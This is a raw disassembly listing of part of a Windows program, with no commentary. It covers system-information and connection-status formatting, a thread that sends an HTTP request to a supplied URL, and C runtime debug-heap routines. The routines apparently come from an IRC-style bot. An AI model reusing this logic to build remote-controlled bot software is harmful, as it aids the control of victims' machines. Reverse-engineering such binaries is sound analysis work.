		call	dword_4E03D0	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs_0 ; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_4E03CC	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_417700
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_4E043C	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_417F80
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_968]
		push	eax
		call	sub_411278
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_414606
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_408882
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_411169
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_411169
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4146F0
		push	edx
		push	eax
		push	offset dword_444C50
		push	200h
		push	[ebp+arg_0]
		call	sub_417E80
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4147AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A60	proc near		; CODE XREF: sub_401C87+2269p
					; sub_401C87+31ABp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_417700
		add	esp, 0Ch
		cmp	dword_4D674C, 0
		jnz	short loc_414AD4
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4D652C	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_414AB5
		lea	eax, [ebp+var_8C]
		push	offset dword_444D2C
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx


loc_414AB5:				; CODE XREF: sub_414A60+40j
		test	[ebp+var_C], 1
		lea	eax, [ebp+var_8]
		jz	short loc_414ACD
		push	offset dword_444D3C


loc_414AC3:				; CODE XREF: sub_414A60+72j
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx
		jmp	short loc_414AF6
; ---------------------------------------------------------------------------


loc_414ACD:				; CODE XREF: sub_414A60+5Cj
		push	offset off_444D44
		jmp	short loc_414AC3
; ---------------------------------------------------------------------------


loc_414AD4:				; CODE XREF: sub_414A60+28j
		lea	eax, [ebp+var_8]
		push	offset off_444D48
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_8C]
		push	offset off_444D4C
		push	eax
		call	sub_417CB0
		add	esp, 10h


loc_414AF6:				; CODE XREF: sub_414A60+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_408882
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_444D50
		push	200h
		push	[ebp+arg_0]
		call	sub_417E80
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_414A60	endp


; =============== S U B	R O U T	I N E =======================================



sub_414B29	proc near		; CODE XREF: sub_4146F0:loc_4146F8p
					; sub_4146F0+1Cp
		rdtsc
		retn
sub_414B29	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp-0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_4337B2
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_414B53
		xor	eax, eax
		jmp	loc_414C82
; ---------------------------------------------------------------------------


loc_414B53:				; CODE XREF: .data:00414B4Aj
		mov	edx, [ebp-4]
		push	edx
		call	sub_415090
		add	esp, 4
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_414B6F
		xor	eax, eax
		jmp	loc_414C82
; ---------------------------------------------------------------------------


loc_414B6F:				; CODE XREF: .data:00414B66j
		mov	eax, [ebp-10h]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		mov	edx, [ebp-0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_4337AC
		test	eax, eax
		jnz	short loc_414B9B
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_415C20
		add	esp, 4
		xor	eax, eax
		jmp	loc_414C82
; ---------------------------------------------------------------------------


loc_414B9B:				; CODE XREF: .data:00414B86j
		lea	edx, [ebp-14h]
		push	edx
		lea	eax, [ebp-8]
		push	eax
		push	offset dword_444D94
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_4337A6
		test	eax, eax
		jz	loc_414C74
		mov	edx, [ebp-8]
		mov	eax, [edx+0Ch]
		shr	eax, 10h
		and	eax, 0FFFFh
		cmp	eax, 0A28h
		jnz	loc_414C74
		mov	ecx, [ebp-8]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFh
		and	edx, 0FFFFh
		mov	[ebp-18h], edx
		cmp	dword ptr [ebp-18h], 0A7Dh
		jg	short loc_414C0D
		cmp	dword ptr [ebp-18h], 0A7Dh
		jz	short loc_414C51
		cmp	dword ptr [ebp-18h], 884h
		jz	short loc_414C18
		cmp	dword ptr [ebp-18h], 9C9h
		jz	short loc_414C3E
		jmp	short loc_414C64
; ---------------------------------------------------------------------------


loc_414C0D:				; CODE XREF: .data:00414BEEj
		cmp	dword ptr [ebp-18h], 0B4Ch
		jz	short loc_414C2B
		jmp	short loc_414C64
; ---------------------------------------------------------------------------


loc_414C18:				; CODE XREF: .data:00414C00j
		mov	eax, [ebp-10h]
		push	eax
		call	sub_415C20
		add	esp, 4
		mov	eax, 1
		jmp	short loc_414C82
; ---------------------------------------------------------------------------


loc_414C2B:				; CODE XREF: .data:00414C14j
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_415C20
		add	esp, 4
		mov	eax, 2
		jmp	short loc_414C82
; ---------------------------------------------------------------------------


loc_414C3E:				; CODE XREF: .data:00414C09j
		mov	edx, [ebp-10h]
		push	edx
		call	sub_415C20
		add	esp, 4
		mov	eax, 3
		jmp	short loc_414C82
; ---------------------------------------------------------------------------


loc_414C51:				; CODE XREF: .data:00414BF7j
		mov	eax, [ebp-10h]
		push	eax
		call	sub_415C20
		add	esp, 4
		mov	eax, 4
		jmp	short loc_414C82
; ---------------------------------------------------------------------------


loc_414C64:				; CODE XREF: .data:00414C0Bj
					; .data:00414C16j
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_415C20
		add	esp, 4
		xor	eax, eax
		jmp	short loc_414C82
; ---------------------------------------------------------------------------


loc_414C74:				; CODE XREF: .data:00414BB3j
					; .data:00414BCCj
		mov	edx, [ebp-10h]
		push	edx
		call	sub_415C20
		add	esp, 4
		xor	eax, eax


loc_414C82:				; CODE XREF: .data:00414B4Ej
					; .data:00414B6Aj ...
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C86	proc near		; DATA XREF: sub_401C87+3616o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		xor	esi, esi
		mov	edi, 80h
		inc	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_444D98
		call	sub_417700
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_417700
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_417700
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_417700
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_417700
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4D6564	; InternetCrackUrlA
		test	eax, eax
		jz	loc_414E26
		cmp	[ebp+var_34], ebx
		jbe	short loc_414D5D
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_417760
		add	esp, 0Ch


loc_414D5D:				; CODE XREF: sub_414C86+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_414D7B
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_417760
		add	esp, 0Ch


loc_414D7B:				; CODE XREF: sub_414C86+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_414D95
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_417760
		add	esp, 0Ch


loc_414D95:				; CODE XREF: sub_414C86+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_414DAF
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_417760
		add	esp, 0Ch


loc_414DAF:				; CODE XREF: sub_414C86+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4D6618
		call	dword_4D663C	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_414E3C
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4D6630	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_414E43
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4D65DC	; HttpSendRequestA
		test	eax, eax
		lea	eax, [ebp+var_55C]
		jz	short loc_414E1F
		push	offset dword_444D9C
		jmp	short loc_414E4E
; ---------------------------------------------------------------------------


loc_414E1F:				; CODE XREF: sub_414C86+190j
		push	offset unk_444DB8
		jmp	short loc_414E4E
; ---------------------------------------------------------------------------


loc_414E26:				; CODE XREF: sub_414C86+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_444DF4
		push	eax
		call	sub_417CB0
		mov	esi, [ebp+var_C]
		jmp	short loc_414E54
; ---------------------------------------------------------------------------


loc_414E3C:				; CODE XREF: sub_414C86+153j
		push	offset unk_444E10
		jmp	short loc_414E48
; ---------------------------------------------------------------------------


loc_414E43:				; CODE XREF: sub_414C86+17Bj
					; DATA XREF: .data:00447CCCo
		push	offset unk_444E3C


loc_414E48:				; CODE XREF: sub_414C86+1BBj
		lea	eax, [ebp+var_55C]


loc_414E4E:				; CODE XREF: sub_414C86+197j
					; sub_414C86+19Ej
		push	eax
		call	sub_417CB0


loc_414E54:				; CODE XREF: sub_414C86+1B4j
		cmp	[ebp+var_1D4], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_414E81
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_40764A
		add	esp, 14h


loc_414E81:				; CODE XREF: sub_414C86+1D6j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40F927
		pop	ecx
		push	esi
		call	dword_4D669C	; InternetCloseHandle
		push	[ebp+var_4]
		call	dword_4D669C	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_409979
		pop	ecx
		push	ebx
		call	dword_4E03A0	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
		jmp	dword_4E04D8
sub_414C86	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414EC0	proc near		; CODE XREF: sub_401000+38p
					; .data:004011F1p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_414EE0


loc_414ECC:				; CODE XREF: sub_414EC0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_414F13
		test	ecx, 3
		jnz	short loc_414ECC
		add	eax, 0


loc_414EE0:				; CODE XREF: sub_414EC0+Aj
					; sub_414EC0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_414EE0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_414F31
		test	ah, ah
		jz	short loc_414F27
		test	eax, 0FF0000h
		jz	short loc_414F1D
		test	eax, 0FF000000h
		jz	short loc_414F13
		jmp	short loc_414EE0
; ---------------------------------------------------------------------------


loc_414F13:				; CODE XREF: sub_414EC0+11j
					; sub_414EC0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_414F1D:				; CODE XREF: sub_414EC0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_414F27:				; CODE XREF: sub_414EC0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_414F31:				; CODE XREF: sub_414EC0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_414EC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F40	proc near		; CODE XREF: sub_4010AA+62p
					; sub_401C87+3484p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0FFFFFFFFh


loc_414F4E:				; CODE XREF: sub_414F40+36j
		cmp	[ebp+arg_0], 0
		jnz	short loc_414F72
		push	offset dword_43449C
		push	0
		push	3Ah
		push	offset dword_434490
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_414F72
		int	3		; Trap to Debugger


loc_414F72:				; CODE XREF: sub_414F40+12j
					; sub_414F40+2Fj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_414F4E
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 40h
		test	edx, edx
		jz	short loc_414F91
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+0Ch], 0
		jmp	short loc_414FB8
; ---------------------------------------------------------------------------


loc_414F91:				; CODE XREF: sub_414F40+43j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41AE20
		add	esp, 4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_414FD0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41AE90
		add	esp, 4


loc_414FB8:				; CODE XREF: sub_414F40+4Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_414F40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414FD0	proc near		; CODE XREF: sub_414F40+61p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax


loc_414FE6:				; CODE XREF: sub_414FD0+3Ej
		cmp	[ebp+arg_0], 0
		jnz	short loc_41500A
		push	offset dword_4344AC
		push	0
		push	77h
		push	offset dword_434490
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41500A
		int	3		; Trap to Debugger


loc_41500A:				; CODE XREF: sub_414FD0+1Aj
					; sub_414FD0+37j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_414FE6
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_41507A
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41B920
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_41B7E0
		add	esp, 4
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_41B6B0
		add	esp, 4
		test	eax, eax
		jge	short loc_415056
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41507A
; ---------------------------------------------------------------------------


loc_415056:				; CODE XREF: sub_414FD0+7Bj
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+1Ch], 0
		jz	short loc_41507A
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+1Ch]
		push	ecx
		call	sub_415C60
		add	esp, 8
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+1Ch], 0


loc_41507A:				; CODE XREF: sub_414FD0+4Dj
					; sub_414FD0+84j ...
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+0Ch], 0
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_414FD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415090	proc near		; CODE XREF: sub_4010AA+6p
					; sub_40879E+63p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	0
		push	1
		mov	eax, dword_4DDFE4
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_415110
		add	esp, 14h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_415090	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150C0	proc near		; CODE XREF: sub_415520+20p
					; sub_415640+26p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, dword_4DDFE4
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_415110
		add	esp, 14h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4150C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150F0	proc near		; CODE XREF: sub_419E80+Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_415110
		add	esp, 14h
		pop	ebp
		retn
sub_4150F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415110	proc near		; CODE XREF: sub_415090+14p
					; sub_4150C0+1Ap ...

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

; FUNCTION CHUNK AT 00415178 SIZE 00000038 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4344E0
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi


loc_415133:				; CODE XREF: sub_415110:loc_41519Dj
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4151D0
		add	esp, 10h
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41516D
		jmp	short loc_415178
sub_415110	endp


; =============== S U B	R O U T	I N E =======================================



sub_41516D	proc near		; CODE XREF: sub_415110+56p
					; DATA XREF: .data:004344E8o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_41516D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_415110


loc_415178:				; CODE XREF: sub_415110+5Bj
		cmp	[ebp+var_1C], 0
		jnz	short loc_415184
		cmp	[ebp+arg_4], 0
		jnz	short loc_415189


loc_415184:				; CODE XREF: sub_415110+6Cj
		mov	eax, [ebp+var_1C]
		jmp	short loc_41519F
; ---------------------------------------------------------------------------


loc_415189:				; CODE XREF: sub_415110+72j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41BB70
		add	esp, 4
		test	eax, eax
		jnz	short loc_41519D
		xor	eax, eax
		jmp	short loc_41519F
; ---------------------------------------------------------------------------


loc_41519D:				; CODE XREF: sub_415110+87j
		jmp	short loc_415133
; ---------------------------------------------------------------------------


loc_41519F:				; CODE XREF: sub_415110+77j
					; sub_415110+8Bj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_415110
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_4151D0
		add	esp, 10h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151D0	proc near		; CODE XREF: sub_415110+44p
					; .data:004151BDp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		mov	eax, dword_444E70
		and	eax, 4
		test	eax, eax
		jz	short loc_41521C


loc_4151EC:				; CODE XREF: sub_4151D0+4Aj
		call	sub_416420
		test	eax, eax
		jnz	short loc_415216
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	14Ch
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415216
		int	3		; Trap to Debugger


loc_415216:				; CODE XREF: sub_4151D0+23j
					; sub_4151D0+43j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4151EC


loc_41521C:				; CODE XREF: sub_4151D0+1Aj
		mov	edx, dword_444E74
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		cmp	eax, dword_444E78
		jnz	short loc_415231
		int	3		; Trap to Debugger


loc_415231:				; CODE XREF: sub_4151D0+5Ej
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx


loc_415245:				; DATA XREF: .data:00447B98o
					; .data:00447BA0o
		push	0
		push	1
		call	off_445240
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4152B4
		cmp	[ebp+arg_8], 0
		jz	short loc_415287


loc_41525C:				; CODE XREF: sub_4151D0+B3j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	offset aClientHookAllo ; "Client hook allocation failure at file "...
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41527F
		int	3		; Trap to Debugger


loc_41527F:				; CODE XREF: sub_4151D0+ACj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41525C
		jmp	short loc_4152AD
; ---------------------------------------------------------------------------


loc_415287:				; CODE XREF: sub_4151D0+8Aj
					; sub_4151D0+DBj
		push	offset aClientHookAl_0 ; "Client hook allocation failure.\n"
		push	offset aS_20	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4152A7
		int	3		; Trap to Debugger


loc_4152A7:				; CODE XREF: sub_4151D0+D4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_415287


loc_4152AD:				; CODE XREF: sub_4151D0+B5j
		xor	eax, eax
		jmp	loc_4154DC
; ---------------------------------------------------------------------------


loc_4152B4:				; CODE XREF: sub_4151D0+84j
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_4152D6
		mov	edx, dword_444E70
		and	edx, 1
		test	edx, edx
		jnz	short loc_4152D6
		mov	[ebp+var_C], 1


loc_4152D6:				; CODE XREF: sub_4151D0+F0j
					; sub_4151D0+FDj
		cmp	[ebp+arg_0], 0FFFFFFE0h
		ja	short loc_4152E7
		mov	eax, [ebp+arg_0]
		add	eax, 24h
		cmp	eax, 0FFFFFFE0h
		jbe	short loc_415313


loc_4152E7:				; CODE XREF: sub_4151D0+10Aj
					; sub_4151D0+13Aj
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n"
		push	0
		push	0
		push	0
		push	1
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_415306
		int	3		; Trap to Debugger


loc_415306:				; CODE XREF: sub_4151D0+133j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4152E7
		xor	eax, eax
		jmp	loc_4154DC
; ---------------------------------------------------------------------------


loc_415313:				; CODE XREF: sub_4151D0+115j
		mov	eax, [ebp+arg_4]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_415360
		cmp	[ebp+arg_4], 1
		jz	short loc_415360
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_415360
		cmp	[ebp+arg_4], 3
		jz	short loc_415360


loc_41533A:				; CODE XREF: sub_4151D0+18Ej
		push	offset aErrorMemoryAll ; "Error: memory	allocation: bad	memory bl"...
		push	offset aS_20	; "%s"


loc_415344:				; DATA XREF: .data:00447E00o
		push	0
		push	0
		push	0
		push	1
		call	sub_41B010
		add	esp, 18h


loc_415354:				; DATA XREF: .data:00447FECo
		cmp	eax, 1
		jnz	short loc_41535A
		int	3		; Trap to Debugger


loc_41535A:				; CODE XREF: sub_4151D0+187j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41533A


loc_415360:				; CODE XREF: sub_4151D0+14Ej
					; sub_4151D0+154j ...
		mov	eax, [ebp+arg_0]
		add	eax, 24h
		mov	[ebp+var_10], eax
